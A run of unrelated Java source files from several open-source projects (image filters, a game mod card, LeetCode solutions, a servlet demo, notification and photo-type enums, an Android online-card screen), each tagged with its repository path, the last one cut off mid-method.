GPUImageFilterTools.FilterType.SATURATION, 0)); //filters.add(new FilterEffect("Line3", GPUImageFilterTools.FilterType.EXPOSURE, 0)); //filters.add(new FilterEffect("Line3", GPUImageFilterTools.FilterType.HIGHLIGHT_SHADOW, 0)); //filters.add(new FilterEffect("Line4", GPUImageFilterTools.FilterType.OPACITY, 0)); //filters.add(new FilterEffect("Line4", GPUImageFilterTools.FilterType.RGB, 0)); //filters.add(new FilterEffect("Line4", GPUImageFilterTools.FilterType.WHITE_BALANCE, 0)); //filters.add(new FilterEffect("Line4", GPUImageFilterTools.FilterType.BLEND_COLOR_BURN, 0)); // BLEND_COLOR_DODGE, BLEND_DARKEN, BLEND_DIFFERENCE, BLEND_DISSOLVE, BLEND_EXCLUSION, //filters.add(new FilterEffect("Line5", GPUImageFilterTools.FilterType.BLEND_COLOR_DODGE, 0)); //filters.add(new FilterEffect("Line5", GPUImageFilterTools.FilterType.BLEND_DARKEN, 0)); //filters.add(new FilterEffect("Line5", GPUImageFilterTools.FilterType.BLEND_DIFFERENCE, 0)); //filters.add(new FilterEffect("Line5", GPUImageFilterTools.FilterType.BLEND_DISSOLVE, 0)); //filters.add(new FilterEffect("Line5", GPUImageFilterTools.FilterType.BLEND_EXCLUSION, 0)); //BLEND_SOURCE_OVER, BLEND_HARD_LIGHT, BLEND_LIGHTEN, BLEND_ADD, BLEND_DIVIDE, BLEND_MULTIPLY, //filters.add(new FilterEffect("Line6", GPUImageFilterTools.FilterType.BLEND_SOURCE_OVER, 0)); //filters.add(new FilterEffect("Line6", GPUImageFilterTools.FilterType.BLEND_HARD_LIGHT, 0)); //filters.add(new FilterEffect("Line6", GPUImageFilterTools.FilterType.BLEND_LIGHTEN, 0)); //filters.add(new FilterEffect("Line6", GPUImageFilterTools.FilterType.BLEND_ADD, 0)); //filters.add(new FilterEffect("Line6", GPUImageFilterTools.FilterType.BLEND_DIVIDE, 0)); //filters.add(new FilterEffect("Line6", GPUImageFilterTools.FilterType.BLEND_MULTIPLY, 0)); //BLEND_OVERLAY, BLEND_SCREEN, BLEND_ALPHA, BLEND_COLOR, BLEND_HUE, BLEND_SATURATION, BLEND_LUMINOSITY, //filters.add(new FilterEffect("Line7", GPUImageFilterTools.FilterType.BLEND_OVERLAY, 0)); //filters.add(new FilterEffect("Line7", GPUImageFilterTools.FilterType.BLEND_SCREEN, 0)); //filters.add(new FilterEffect("Line7", GPUImageFilterTools.FilterType.BLEND_ALPHA, 0)); //filters.add(new FilterEffect("Line7", GPUImageFilterTools.FilterType.BLEND_COLOR, 0)); //filters.add(new FilterEffect("Line7", GPUImageFilterTools.FilterType.BLEND_HUE, 0)); //filters.add(new FilterEffect("Line7", GPUImageFilterTools.FilterType.BLEND_SATURATION, 0)); //filters.add(new FilterEffect("Line7", GPUImageFilterTools.FilterType.BLEND_LUMINOSITY, 0)); //BLEND_LINEAR_BURN, BLEND_SOFT_LIGHT, BLEND_SUBTRACT, BLEND_CHROMA_KEY, BLEND_NORMAL, LOOKUP_AMATORKA, //filters.add(new FilterEffect("Line8", GPUImageFilterTools.FilterType.BLEND_LINEAR_BURN, 0)); //filters.add(new FilterEffect("Line8", GPUImageFilterTools.FilterType.BLEND_SOFT_LIGHT, 0)); //filters.add(new FilterEffect("Line8", GPUImageFilterTools.FilterType.BLEND_SUBTRACT, 0)); //filters.add(new FilterEffect("Line8", GPUImageFilterTools.FilterType.BLEND_CHROMA_KEY, 0)); //filters.add(new FilterEffect("Line8", GPUImageFilterTools.FilterType.BLEND_NORMAL, 0)); // GAUSSIAN_BLUR, CROSSHATCH, BOX_BLUR, CGA_COLORSPACE, DILATION, KUWAHARA, RGB_DILATION, SKETCH, TOON, //filters.add(new FilterEffect("Line9", GPUImageFilterTools.FilterType.CROSSHATCH, 0)); //filters.add(new FilterEffect("Line9", GPUImageFilterTools.FilterType.CGA_COLORSPACE, 0)); //filters.add(new FilterEffect("Line9", GPUImageFilterTools.FilterType.SKETCH, 0)); //filters.add(new FilterEffect("Line9", GPUImageFilterTools.FilterType.TOON, 0)); //filters.add(new FilterEffect("Line9", GPUImageFilterTools.FilterType.BOX_BLUR, 0)); //SMOOTH_TOON, BULGE_DISTORTION, GLASS_SPHERE, HAZE, LAPLACIAN, NON_MAXIMUM_SUPPRESSION, //filters.add(new FilterEffect("Line10", GPUImageFilterTools.FilterType.SMOOTH_TOON, 0)); //filters.add(new FilterEffect("Line10", GPUImageFilterTools.FilterType.BULGE_DISTORTION, 0)); //filters.add(new FilterEffect("Line10", GPUImageFilterTools.FilterType.GLASS_SPHERE, 0)); //filters.add(new FilterEffect("Line10", GPUImageFilterTools.FilterType.HAZE, 0)); //filters.add(new FilterEffect("Line10", GPUImageFilterTools.FilterType.LAPLACIAN, 0)); //filters.add(new FilterEffect("Line10", GPUImageFilterTools.FilterType.NON_MAXIMUM_SUPPRESSION, 0)); //SPHERE_REFRACTION, SWIRL, WEAK_PIXEL_INCLUSION, FALSE_COLOR, COLOR_BALANCE //filters.add(new FilterEffect("Line11", GPUImageFilterTools.FilterType.SPHERE_REFRACTION, 0)); //filters.add(new FilterEffect("Line11", GPUImageFilterTools.FilterType.SWIRL, 0)); //filters.add(new FilterEffect("Line11", GPUImageFilterTools.FilterType.WEAK_PIXEL_INCLUSION, 0)); //filters.add(new FilterEffect("Line11", GPUImageFilterTools.FilterType.FALSE_COLOR, 0)); //filters.add(new FilterEffect("Line11", GPUImageFilterTools.FilterType.COLOR_BALANCE, 0)); return filters; } }
NicodeLee/Beautyacticle
beautyarticle-base/src/main/java/com/nicodelee/beautyarticle/ui/camara/EffectService.java
65,723
package Thmod.Cards; import com.megacrit.cardcrawl.actions.AbstractGameAction; import com.megacrit.cardcrawl.actions.common.ApplyPowerAction; import com.megacrit.cardcrawl.cards.AbstractCard; import com.megacrit.cardcrawl.characters.AbstractPlayer; import com.megacrit.cardcrawl.core.CardCrawlGame; import com.megacrit.cardcrawl.dungeons.AbstractDungeon; import com.megacrit.cardcrawl.localization.CardStrings; import com.megacrit.cardcrawl.monsters.AbstractMonster; import com.megacrit.cardcrawl.powers.WeakPower; import java.util.Iterator; public class Demotivation extends AbstractKomeijiCards { public static final String ID = "Demotivation"; private static final CardStrings cardStrings; public static final String NAME; public static final String DESCRIPTION; public static final String UPGRADE_DESCRIPTION ; private static final int COST = 0; public Demotivation() { super("Demotivation", Demotivation.NAME, 0, Demotivation.DESCRIPTION, CardType.SKILL, CardRarity.COMMON, CardTarget.ENEMY, CardSet_k.REISEN); this.baseMagicNumber = 2; this.magicNumber = this.baseMagicNumber; } public void use(AbstractPlayer p, AbstractMonster m) { if (!(this.upgraded)) { AbstractDungeon.actionManager.addToBottom(new ApplyPowerAction(m, p, new WeakPower(m, this.magicNumber, false), this.magicNumber)); } else for (int i = 0; i < AbstractDungeon.getCurrRoom().monsters.monsters.size(); i++) { AbstractMonster target = AbstractDungeon.getCurrRoom().monsters.monsters.get(i); if ((!(target.isDying)) && (target.currentHealth > 0) && (!(target.isEscaping))) { AbstractDungeon.actionManager.addToBottom(new ApplyPowerAction(target, p, new WeakPower(target, this.magicNumber, false), this.magicNumber, true, AbstractGameAction.AttackEffect.NONE)); } } } public AbstractCard makeCopy() { return new Demotivation(); } public void upgrade() { if (!(this.upgraded)) { this.name = "回忆「丧心疮痍」"; this.initializeTitle(); this.target = AbstractCard.CardTarget.ALL_ENEMY; this.rawDescription = UPGRADE_DESCRIPTION; initializeDescription(); this.timesUpgraded += 1; this.upgraded = true; } } static { cardStrings = CardCrawlGame.languagePack.getCardStrings("Demotivation"); NAME = Demotivation.cardStrings.NAME; DESCRIPTION = Demotivation.cardStrings.DESCRIPTION; UPGRADE_DESCRIPTION = Demotivation.cardStrings.UPGRADE_DESCRIPTION; } }
HOYKJ/KomeijiMod
java/Thmod/Cards/Demotivation.java
65,724
/* * 类的加载: * 1、加载: * 把字节码读取到内存 * 2、连接 * (1)验证 * (2)准备: * 例如:给类变量(静态变量)在方法区分配内存,非final的赋默认值,但是如果是final的,直接赋常量值。 * (3)解析 * 虚拟机常量池内的符号引用(常量名)替换为直接引用(地址)的过程 * * 这里1,2完成时,在方法区中已经有一个能够代表当前类的Class对象。 * * 3、类的初始化 <clinit>() * * 类的加载大多数情况下是1、2、3一起完成的,但是有的时候3、初始化不一起完成。 * * 回忆: * <clinit>()是由编译器自动收集(1)静态变量的显式赋值(2)静态代码块的内容的组成。 * 当一个类初始化时,如果发现它的父类没有初始化,那么会先初始化父类。 * 虚拟机会保证一个类的<clinit>()方法在多线程环境中被正确加锁和同步。即每一个类在内存中都只有唯一的一个Class对象。 * */ public class TestClassLoading{ }
HFwas/Java
java-reflect/src/TestClassLoading.java
65,725
/* * Copyright (c) 2022 Institute of Software Chinese Academy of Sciences (ISCAS) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package space.ao.services.push.dto; import io.quarkus.runtime.annotations.RegisterForReflection; import java.util.ArrayList; import java.util.List; import lombok.Getter; @RegisterForReflection public enum NotificationEnum { LOGOUT("下线提醒", "您的登录已失效。请重新进行扫码授权 >>","logout", AfterOpenAction.GO_ACTIVITY), MEMBER_DEL("空间注销提醒", "您的空间已被注销,将无法继续使用,请联系管理员。","member_delete", AfterOpenAction.GO_ACTIVITY), MEMBER_SELF_DEL("空间注销提醒", "您的空间已注销,将无法继续使用。","member_self_delete", AfterOpenAction.GO_ACTIVITY), REVOKE("下线提醒", "您的登录已失效。请重新进行扫码授权 >>","revoke", AfterOpenAction.GO_ACTIVITY), MEMBER_JOIN("成员加入提醒", "","member_join", AfterOpenAction.GO_ACTIVITY), LOGIN("登录提醒", "", "login", AfterOpenAction.GO_ACTIVITY), LOGIN_CONFIRM("免扫码登录", "", "login_confirm", AfterOpenAction.GO_ACTIVITY), START("盒子启动", "你的盒子已成功启动", "start", AfterOpenAction.GO_ACTIVITY), SECURITY_PASSWD_MOD_APPLY("账户安全提醒:", "您正在终端 %s 上进行安全密码相关操作,请及时确认 \n" + "请注意保护空间内的数据安全", "security_passwd_mod_apply", AfterOpenAction.GO_ACTIVITY), // 下面这条是安保专用的,非传统推送!!! SECURITY_PASSWD_PARTICULAR_MOD_ACCEPT("账户安全提醒:", "安保专用的poll推送允许结果", "security_passwd_mod_accept", AfterOpenAction.GO_ACTIVITY), SECURITY_PASSWD_MOD_SUCC("账户安全提醒:", "安全密码修改成功,请知晓! \n" + "若非本人操作,请在【我的-设置-安全设置】里重置安全密码", "security_passwd_mod_succ", AfterOpenAction.GO_ACTIVITY), SECURITY_PASSWD_RESET_APPLY("账户安全提醒:", "您正在终端 %s 上进行安全密码相关操作,请及时确认 \n" + "请注意保护空间内的数据安全", "security_passwd_reset_apply", AfterOpenAction.GO_ACTIVITY), // 下面这条是安保专用的,非传统推送!!! SECURITY_PASSWD_PARTICULAR_RESET_ACCEPT("账户安全提醒:", "安保专用的poll推送允许结果", "security_passwd_reset_accept", AfterOpenAction.GO_ACTIVITY), SECURITY_PASSWD_RESET_SUCC("账户安全提醒:", "安全密码重置成功,请知晓! \n" + "若非本人操作,请在【我的-设置-安全设置】里重置安全密码", "security_passwd_reset_succ", AfterOpenAction.GO_ACTIVITY), SECURITY_EMAIL_SET_SUCC("账户安全提醒:", """ 您已成功绑定密保邮箱 %s!\s 点击“查看详情”,查看更多信息 查看详情;""", "security_email_set_succ", AfterOpenAction.GO_ACTIVITY), SECURITY_EMAIL_MOD_SUCC("账户安全提醒:", """ 您已绑定新的密保邮箱 %s!\s 点击“查看详情”,查看更多信息 查看详情;""", "security_email_mod_succ", AfterOpenAction.GO_ACTIVITY), // 升级成功 UPGRADE_SUCCESS("系统升级提醒", "傲空间系统已经升级到最新版本啦,点击查看 >>","upgrade_success", AfterOpenAction.GO_ACTIVITY), // 下载成功 UPGRADE_DOWNLOAD_SUCCESS("已下载未安装提醒", "傲空间 %s可用于您的设备,且已经可以安装,点击去安装>>","upgrade_download_success", AfterOpenAction.GO_ACTIVITY), // 安装中 UPGRADE_INSTALLING("正在安装系统", "正在安装系统更新,傲空间设备可能无法正常访问,升级完成后将自动恢复使用 >>","upgrade_installing", AfterOpenAction.GO_ACTIVITY), // 盒子重启推送 UPGRADE_RESTART("系统升级提醒","正在重启设备,请在重启完成后使用","upgrade_restart", AfterOpenAction.GO_ACTIVITY), //备份进度和恢复进度 BACKUP_PROGRESS("","", "backup_progress", AfterOpenAction.GO_ACTIVITY), //恢复成功 RESTORE_SUCCESS("数据恢复完成","您的空间数据已完成恢复操作,如有疑问,请联系管理员。", "restore_success", AfterOpenAction.GO_ACTIVITY), TODAY_IN_HIS("历史上的今天", "小傲帮您整理了今天的一些记忆,去重温下吧~","today_in_his", AfterOpenAction.GO_ACTIVITY), MEMORIES("回忆", "小傲帮您整理了一些过往回忆,去重温下吧~","memories", AfterOpenAction.GO_ACTIVITY), ABILITY_CHANGE("平台API发生变化", "平台API发生变化","ability_change", AfterOpenAction.GO_ACTIVITY), HISTORY_RECORD("文件状态发生变化", "文件状态发生变化","HISTORY_RECORD", AfterOpenAction.GO_CUSTOM), ; private String title; private String text; private final String type; @Getter private final AfterOpenAction afterOpenAction; NotificationEnum(String title, String text, String type, AfterOpenAction afterOpenAction) { this.title = title; this.text = text; this.type = type; this.afterOpenAction = afterOpenAction; } public String getTitle() { return title; } public NotificationEnum setTitle(String title) { this.title = title; return this; } public String getText() { return text; } public NotificationEnum setText(String text) { this.text = text; return this; } public String getType() { return type; } public NotificationEnum setMemberJoin(String name){ MEMBER_JOIN.text = name + " 接受了您的邀请并创建了傲空间。点击查看 >>"; return MEMBER_JOIN; } public NotificationEnum setLogin(String name){ LOGIN.text = "您的空间已在设备:" + name +"登录,点击查看 >>"; return LOGIN; } public NotificationEnum setInnerLogin(String name){ LOGIN.text = "您的空间已在 " + name +" 登陆"; return LOGIN; } public NotificationEnum setLoginConfirm(String name, String userdomain){ LOGIN.text = name + " 申请登录您的傲空间(https://" + userdomain + "), 点击确认是否允许>>"; return LOGIN; } public NotificationEnum getSecurityPasswdModApply(String email){ SECURITY_PASSWD_MOD_APPLY.text = "您正在终端 " + email + " 上进行安全密码相关操作,请及时确认 \n" + "请注意保护空间内的数据安全"; return SECURITY_PASSWD_MOD_APPLY; } public NotificationEnum getSecurityPasswdResetApply(String email){ SECURITY_PASSWD_RESET_APPLY.text = "您正在终端 " + email + " 上进行安全密码相关操作,请及时确认 \n" + "请注意保护空间内的数据安全"; return SECURITY_PASSWD_RESET_APPLY; } public NotificationEnum getSecurityEmailSetSucc(String email){ SECURITY_EMAIL_SET_SUCC.text = "您已成功绑定密保邮箱 " + email+ "! \n" + "点击“查看详情”,查看更多信息\n"; return SECURITY_EMAIL_SET_SUCC; } public NotificationEnum getSecurityEmailModSucc(String email){ SECURITY_EMAIL_MOD_SUCC.text = "您已绑定新的密保邮箱 " + email + "! \n" + "点击“查看详情”,查看更多信息\n" + "查看详情;"; return SECURITY_EMAIL_MOD_SUCC; } public NotificationEnum getUpgradeDownloadSuccess(String version){ UPGRADE_DOWNLOAD_SUCCESS.text = "傲空间 " + version + "可用于您的设备,且已经可以安装,点击去安装>>"; return UPGRADE_DOWNLOAD_SUCCESS; } public static NotificationEnum of(String type){ for (var notification: NotificationEnum.values()){ if(notification.getType().equals(type)){ return notification; } } return null; } public static List<String> sendOnlyOnline(){ var sendOnlyOnline = new ArrayList<String>(); sendOnlyOnline.add(NotificationEnum.ABILITY_CHANGE.type); sendOnlyOnline.add(NotificationEnum.UPGRADE_RESTART.type); return sendOnlyOnline; } public static List<String> noNeedToSave(){ var noNeedToSave = new ArrayList<String>(); noNeedToSave.add(NotificationEnum.ABILITY_CHANGE.type); return noNeedToSave; } }
ao-space/space-gateway
src/main/java/space/ao/services/push/dto/NotificationEnum.java
65,728
package com.liyongquan.array; /** * 给定一个数组 nums 和滑动窗口的大小 k,请找出所有滑动窗口里的最大值。 * * 示例: * * 输入: nums = [1,3,-1,-3,5,3,6,7], 和 k = 3 * 输出: [3,3,5,5,6,7] * 解释: * * 滑动窗口的位置 最大值 * --------------- ----- * [1 3 -1] -3 5 3 6 7 3 * 1 [3 -1 -3] 5 3 6 7 3 * 1 3 [-1 -3 5] 3 6 7 5 * 1 3 -1 [-3 5 3] 6 7 5 * 1 3 -1 -3 [5 3 6] 7 6 * 1 3 -1 -3 5 [3 6 7] 7 * * * * 提示: * * 你可以假设 k 总是有效的,在输入数组不为空的情况下,1 ≤ k ≤ 输入数组的大小。 * * 来源:力扣(LeetCode) * 链接:https://leetcode-cn.com/problems/hua-dong-chuang-kou-de-zui-da-zhi-lcof * 著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。 */ public class SlidingWindow { /** * 遍历的方式,不做任何优化 * 时间复杂度为O(n*k),n为元素的数量 * @param nums * @param k * @return */ public int[] maxSlidingWindow(int[] nums, int k) { if (nums.length<=0) { return new int[0]; } int[] result=new int[nums.length-k+1]; for (int i = 0; i < nums.length-k+1; i++) { scanK(nums, result, i, i+k); } return result; } /** * 事实上,我们可以利用上一次的计算结果来适当地减枝。 * if num[i+k-1]>f(i-1),则f(i)=num[i+k-1] * else if num[i-1]!=f(i-1),则f(i)=f(i-1) * else 遍历k个数字 * @param nums * @param k * @return */ public int[] maxSlidingWindow2(int[] nums, int k) { if (nums.length<=0) { return new int[0]; } int[] result=new int[nums.length-k+1]; for (int i = 0; i < nums.length-k+1; i++) { if(i==0) { scanK(nums, result, i, i + k); }else{ if (nums[i+k-1]>result[i-1]) { result[i]=nums[i+k-1]; }else if(nums[i-1]!=result[i-1]){ result[i]=result[i-1]; }else{ scanK(nums, result, i, i + k); } } } return result; } private void scanK(int[] nums, int[] result, int i, int i1) { int max = nums[i]; for (int j = i + 1; j < i1; j++) { if (nums[j] > max) { max = nums[j]; } } result[i] = max; } //TODO:还有一种双端队列的解法 /** * 回忆 面试题30. 包含min函数的栈 ,其使用 单调栈 实现了随意入栈、出栈情况下的 O(1)O(1)O(1) 时间获取 “栈内最小值” 。 * 本题同理,不同点在于 “出栈操作” 删除的是 “列表尾部元素” ,而 “窗口滑动” 删除的是 “列表首部元素” 。 * * 窗口对应的数据结构为 双端队列 ,本题使用 单调队列 即可解决以上问题。遍历数组时,每轮保证单调队列 dequedequedeque : * * dequedequedeque 内 仅包含窗口内的元素 ⇒\Rightarrow⇒ 每轮窗口滑动移除了元素 nums[i−1]nums[i - 1]nums[i−1] ,需将 dequedequedeque 内的对应元素一起删除。 * dequedequedeque 内的元素 非严格递减 ⇒\Rightarrow⇒ 每轮窗口滑动添加了元素 nums[j+1]nums[j + 1]nums[j+1] ,需将 dequedequedeque 内所有 <nums[j+1]< nums[j + 1]<nums[j+1] 的元素删除。 * * 作者:jyd * 链接:https://leetcode-cn.com/problems/hua-dong-chuang-kou-de-zui-da-zhi-lcof/solution/mian-shi-ti-59-i-hua-dong-chuang-kou-de-zui-da-1-6/ * 来源:力扣(LeetCode) * 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 */ }
leiwingqueen/leetcode-project
algorithm/java/src/main/java/com/liyongquan/array/SlidingWindow.java
65,729
package com.fghz.album.entity; /** * 回忆的 * Created by me on 16-12-21. */ public class MemoryItem { private String imageId; private String type; public MemoryItem(String imageId, String type) { this.imageId = imageId; this.type = type; } public String getImageId() { return imageId; } public String getType() { return type; } }
my-university-labs/NewFeelings
app/src/main/java/com/fghz/album/entity/MemoryItem.java
65,730
package problems.tree; import problems.common.util.TreeNode; import java.util.HashMap; /** * 106. 从中序与后序遍历序列构造二叉树 * 难度:中等 * * 根据一棵树的中序遍历与后序遍历构造二叉树。 * * 注意: * 你可以假设树中没有重复的元素。 * * 例如,给出 * * 中序遍历 inorder = [9,3,15,20,7] * 后序遍历 postorder = [9,15,7,20,3] * 返回如下的二叉树: * * 3 * / \ * 9 20 * / \ * 15 7 * * 相关练习:105. 从前序与中序遍历序列构造二叉树 * * @author kyan * @date 2020/1/2 */ public class LeetCode_106_InorderAndPostorderToBT { /** * 回忆 * inorder: left->root->right * postorder: left->right->root */ public static class Solution1 { private int[] inorder; private int[] postorder; private int rootIndex; private HashMap<Integer, Integer> inorderMap = new HashMap<>(); public TreeNode buildTree(int[] inorder, int[] postorder) { if (inorder == null || postorder == null || inorder.length == 0 || postorder.length == 0 || inorder.length != postorder.length) return null; this.inorder = inorder; this.postorder = postorder; //和先序遍历不同,后序遍历是从后往前 rootIndex = postorder.length - 1; for (int i = 0; i < inorder.length; i++) { inorderMap.put(inorder[i], i); } return buildTreeInternally(0, inorder.length - 1); } private TreeNode buildTreeInternally(int leftIndex, int rightIndex) { if (leftIndex > rightIndex) { return null; } Integer value = postorder[rootIndex]; rootIndex--; Integer index = inorderMap.get(value); TreeNode node = new TreeNode(value); node.right = buildTreeInternally(index + 1, rightIndex); node.left = buildTreeInternally(leftIndex, index - 1); return node; } } public static void main(String[] args) { int[] inorder = {9,3,15,20,7}; int[] postorder = {9,15,7,20,3}; System.out.println("buildTree: " + new Solution1().buildTree(inorder, postorder)); } }
yankuangshi/leetcode
src/problems/tree/LeetCode_106_InorderAndPostorderToBT.java
65,732
package javaee.basic.httpservlet; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @WebServlet(name="MyHttpServlet",urlPatterns={"/httpservlet/MyHttpServlet"}) public class MyHttpServlet extends HttpServlet { //成员变量 int i = 0; //用于测试Servlet单例,如何实现线程安全 int ticket = 3; //在HttpServlet中,设计者对post提交和get提交分别处理 //回忆<form action="提交给?" mothod = "post|get"/>,默认是get //其实doGet()/doPost()最终也去调用service方法 @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { //super.doGet(req, resp); //一定要注释掉这句 //局部变量 int j=0; resp.setContentType("text/html charset=utf-8"); resp.setCharacterEncoding("utf-8"); resp.getWriter().println("i am httpServlet doGet() 中文:乱码测试"); resp.getWriter().println("i与j的区别"+ "i=" + i++ +"j=" + j++); //线程安全简单的解决方法 synchronized (this) { if(ticket>0){ resp.getWriter().println("你买到票"); //休眠 try{ Thread.sleep(10*1000); }catch (InterruptedException e ){ e.printStackTrace(); } ticket--; resp.getWriter().println("现在还有票ticket =" + ticket +"张"); }else{ resp.getWriter().println("你没有买到票"); } } } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { //super.doPost(req, resp); //一定要注释掉这句 resp.getWriter().println("i am httpServlet doPost() post name = " + req.getParameter("username")); //一般开发人员习惯把doGet()和doPost()二合为一 //this.doGet(req,resp); } }
codehero-cn/javaee.basic
demo_servlet/src/main/java/httpservlet/MyHttpServlet.java
65,733
package com.cheng.zenofdesignpatterns.patternpk.behavioral.strategy_vs_state.state; /** * 老年人状态 */ public class OldState extends HumanState { // 老年人的工作就是回忆 @Override public void work() { System.out.println("老年人的工作就是回忆以前的生活!"); } }
DIY-green/AndroidStudyDemo
DesignPatternStudy/src/main/java/com/cheng/zenofdesignpatterns/patternpk/behavioral/strategy_vs_state/state/OldState.java
65,734
package indi.rocky.enums; /** 使用枚举表示常量数据字段 */ public enum PhotoTypeEnum { CHARACTER(1,"人物"), GOOD(2,"物品"), SCENERY(3,"风景"), MEMORY(4,"回忆"), SUNDRY(5,"杂物"); private int type; private String info; PhotoTypeEnum(int type, String info) { this.type = type; this.info = info; } public int getType() { return type; } public String getInfo() { return info; } public static PhotoTypeEnum stateOf(int index) { for (PhotoTypeEnum type : values()) { if (type.getType()==index) { return type; } } return null; } }
RockyRollLuo/RockyRollWebsite
RockyRollWebsite/src/main/java/indi/rocky/enums/PhotoTypeEnum.java
65,739
package com.hy.mipaycard.online_card; import android.Manifest; import android.content.BroadcastReceiver; import android.content.Context; import android.content.DialogInterface; import android.content.Intent; import android.content.IntentFilter; import androidx.appcompat.app.AlertDialog; import androidx.appcompat.widget.SearchView; import androidx.core.content.ContextCompat; import androidx.localbroadcastmanager.content.LocalBroadcastManager; import androidx.swiperefreshlayout.widget.SwipeRefreshLayout; import androidx.appcompat.app.AppCompatActivity; import android.content.SharedPreferences; import android.content.pm.PackageManager; import android.os.Build; import android.os.Bundle; import androidx.recyclerview.widget.GridLayoutManager; import androidx.recyclerview.widget.RecyclerView; import androidx.appcompat.widget.Toolbar; import android.util.Log; import android.view.KeyEvent; import android.view.Menu; import android.view.MenuItem; import android.widget.Toast; import com.bumptech.glide.disklrucache.DiskLruCache; import com.bumptech.glide.load.engine.cache.DiskCache; import com.bumptech.glide.load.engine.cache.SafeKeyGenerator; import com.bumptech.glide.load.model.GlideUrl; import com.bumptech.glide.signature.EmptySignature; import com.hy.mipaycard.Config; import com.hy.mipaycard.R; import com.hy.mipaycard.Utils.CardList; import com.hy.mipaycard.Utils.HttpUtil; import com.hy.mipaycard.shortcuts.LauncherShortcut; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import java.io.File; import java.io.IOException; import java.io.UnsupportedEncodingException; import java.net.URLEncoder; import java.util.ArrayList; import java.util.List; import java.util.Timer; import java.util.TimerTask; import okhttp3.Call; import okhttp3.Callback; import okhttp3.Response; import static com.hy.mipaycard.Config.getOnlineGitLink; import static com.hy.mipaycard.Utils.CardList.getJsonLine; import static com.hy.mipaycard.online_card.EmailOnlineActivity.showAbout; import static com.hy.mipaycard.online_card.online_utils.readJsonFromFile; import static com.hy.mipaycard.online_card.online_utils.saveJsonData; public class OnlineCardActivity extends AppCompatActivity { private List<Card2> card2List = new ArrayList<>(); private Card2Adapter adapter; private static String jsonData; private LocalBroadcast2 localBroadcast; private SwipeRefreshLayout swipeRefresh; private SharedPreferences pref; private SharedPreferences.Editor editor; private int onlineCardType; private SearchView searchView; private static String SearchAction = "SearchAction"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_online_card); pref = getSharedPreferences("set", Context.MODE_PRIVATE); RecyclerView recyclerView = (RecyclerView) findViewById(R.id.recycler_view_online); Toolbar toolbar = findViewById(R.id.online_toolbar); setSupportActionBar(toolbar); onlineCardType = pref.getInt("onlineCardType",0); jsonData = readJsonFromFile(OnlineCardActivity.this); if(jsonData == null){ jsonData = "{\"cardName\":\"miku&天依\",\"link\":\"https://s2.ax1x.com/2019/09/24/uE8Vzj.md.png\",\"userName\":\"回忆\",\"about\":\"图源pixiv,id75581429,仅裁切圆角\",\"email\":\"[email protected]\"}"; } initCardList(jsonData); GridLayoutManager layoutManager = new GridLayoutManager(this, 2); recyclerView.setLayoutManager(layoutManager); adapter = new Card2Adapter(card2List); recyclerView.setAdapter(adapter); /*注册广播*/ localBroadcast = new LocalBroadcast2(); IntentFilter intentFilter = new IntentFilter(); intentFilter.addAction(Config.localAction_online); LocalBroadcastManager.getInstance(OnlineCardActivity.this).registerReceiver(localBroadcast, intentFilter); swipeRefresh = (SwipeRefreshLayout) findViewById(R.id.swipe_refresh_online); swipeRefresh.setColorSchemeColors(0xff66ccff); swipeRefresh.setOnRefreshListener(new SwipeRefreshLayout.OnRefreshListener() { @Override public void onRefresh() { getOnlineCard(true); } }); getOnlineCard(false); } private class LocalBroadcast2 extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { String searchText = intent.getStringExtra(SearchAction); try { if (searchText.length()!=0) { initCardList(jsonData,searchText); } else { initCardList(jsonData); } } catch (Exception e){ initCardList(jsonData); } adapter.notifyDataSetChanged(); } } @Override protected void onDestroy() { super.onDestroy(); LocalBroadcastManager.getInstance(OnlineCardActivity.this).unregisterReceiver(localBroadcast); } private void initCardList(String jsonData){ initCardList(jsonData,""); } private void initCardList(String jsonData,final String searchText){ card2List.clear(); try { JSONArray jsonArray = new JSONArray("["+jsonData+"]"); for (int i = 0; i < jsonArray.length();i++){ JSONObject jsonObject = jsonArray.getJSONObject(i); String cardName = jsonObject.getString("cardName"); String link = jsonObject.getString("link"); String userName = jsonObject.getString("userName"); String about = jsonObject.getString("about"); String email = jsonObject.getString("email"); if(onlineCardType != 0){ String type = ""; String tmp = link.substring(link.lastIndexOf("/")+1); if(tmp.contains(".")){ type = tmp.substring(tmp.lastIndexOf(".")); } String name = cardName + " _ " +userName + type; name = name.replaceAll(" ","%20"); try { name = URLEncoder.encode(name,"UTF-8"); } catch (UnsupportedEncodingException e) { e.printStackTrace(); continue; } name = name.replaceAll("%2520","%20"); link = getOnlineGitLink(onlineCardType == 1) + name; } if(searchText.length()==0) { card2List.add(new Card2(cardName, link, userName, about, email)); } else { //不区分大小写比较 if(cardName.toLowerCase().contains(searchText.toLowerCase())||userName.toLowerCase().contains(searchText.toLowerCase())){ card2List.add(new Card2(cardName, link, userName, about, email)); } } } } catch (JSONException e) { e.printStackTrace(); } } private void getOnlineCard(final boolean isRef){ final String online_link = Config.getApiLink(true,!pref.getBoolean("ApiStatus",true)); new Thread(new Runnable() { @Override public void run() { HttpUtil.sendOkHttpRequest(online_link, new Callback() { @Override public void onFailure(Call call, IOException e) { runOnUiThread(new Runnable() { @Override public void run() { Toast.makeText(OnlineCardActivity.this, "获取失败", Toast.LENGTH_LONG).show(); if (isRef) { swipeRefresh.setRefreshing(false); //下拉刷新后隐藏搜索 searchView.clearFocus(); searchView.onActionViewCollapsed(); } SharedPreferences.Editor editor = pref.edit(); editor.putBoolean("ApiStatus",false); editor.apply(); getOnlineCard(isRef); } }); } @Override public void onResponse(Call call, Response response) throws IOException { String data = response.body().string(); int local 